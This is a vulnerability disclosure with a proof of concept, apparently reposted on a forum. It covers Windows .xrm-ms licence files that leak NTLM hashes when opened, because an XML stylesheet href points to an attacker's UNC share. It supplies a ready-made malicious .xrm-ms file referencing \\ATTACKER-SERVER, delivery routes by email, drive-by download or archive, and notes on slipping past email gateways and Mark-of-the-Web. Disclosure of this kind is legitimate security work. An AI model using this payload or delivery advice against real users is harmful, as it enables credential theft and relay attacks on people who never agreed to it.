Статья MS Windows XRM-MS File NTLM Hash Disclosure Spoofing PoC

[stihl]

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[Security Issue]
The Windows XRM-MS file type is related to Microsofts software licensing infrastructure.
C:\> assoc .xrm-ms=MSSppLicenseFile.

An "xrm-ms" digital license file opens default (times a tickin) in Internet Explorer (MSIE) and on later OS versions switches to MS Edge.
The ".xrm-ms" file format allows injecting XML stylesheets that will then get processed, when a user opens it.
Adversaries can reference UNC paths for the stylesheet HREF tag that points to LAN network share or attacker controlled infrastructure.

This results in an outbound connection to the attacker controlled network share and or server, leaking the target NTLM hash.
Works from both a LAN network share perspective or remote forced drive-by download to a target etc. User interaction is required to open the file.

During testing, xrm-ms file type not blocked by Windows Office Outlook client 2016 and a popular Email Gateway Security product as of few days ago.

Xrm-Ms File points:

1) XRM-MS is not considered dangerous file type
2) Defaults to open in either MSIE or Edge Win7/10/11/Server 2019
3) Default Icon as it is Windows browser may make it appear more "trust-worthy"
4) Throws no errors from the stylesheet directive when processed
5) May bypass some inbound email security inspections
6) No MOTW roadblocks
7) No active content security warnings

Tested successfully in Win7/Win10/Server 2019
Mileage may vary on Windows 11 and or recently updated systems.

[Exploit/POC]

Delivery options:
Drive-by force download
Email
Network Share
Archive .zip etc


1) Create .xrm-ms File with following content, adjust attacker server information. Actually, all you need is the one XML stylesheet to trigger it.

<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet href="\\ATTACKER-SERVER\NTLMhashLeakDontMeetMSRCBarPoC" ?>
<r:license xmlns:r="http://www.microsoft.com/DRM/rightsManager">
  <r:licenseID>12345-67890-ABCDE</r:licenseID>
  <r:productName>Windows(R) Operating System, VOLUME_KMSCLIENT channel</r:productName>
  <r:productKeyID>XXXXX-XXXXX-XXXXX-XXXXX-XXXXX</r:productKeyID>
  <r:hardwareBinding>
    <r:hash>AA11BB22CC33DD44EE55</r:hash>
  </r:hardwareBinding>
  <r:validity>
    <r:validFrom>2024-01-01T00:00:00</r:validFrom>
    <r:validUntil>2025-01-01T00:00:00</r:validUntil>
  </r:validity>
  <r:signature>...</r:signature>
</r:license>

[Network Access]
Remote

[Severity]
Medium

[Disclosure Timeline]
Vendor Notification: April 17, 2025
MSRC response: "report is a moderate spoofing and doesn't meet the bar." April 29, 2025
April 30, 2025 : Public Disclosure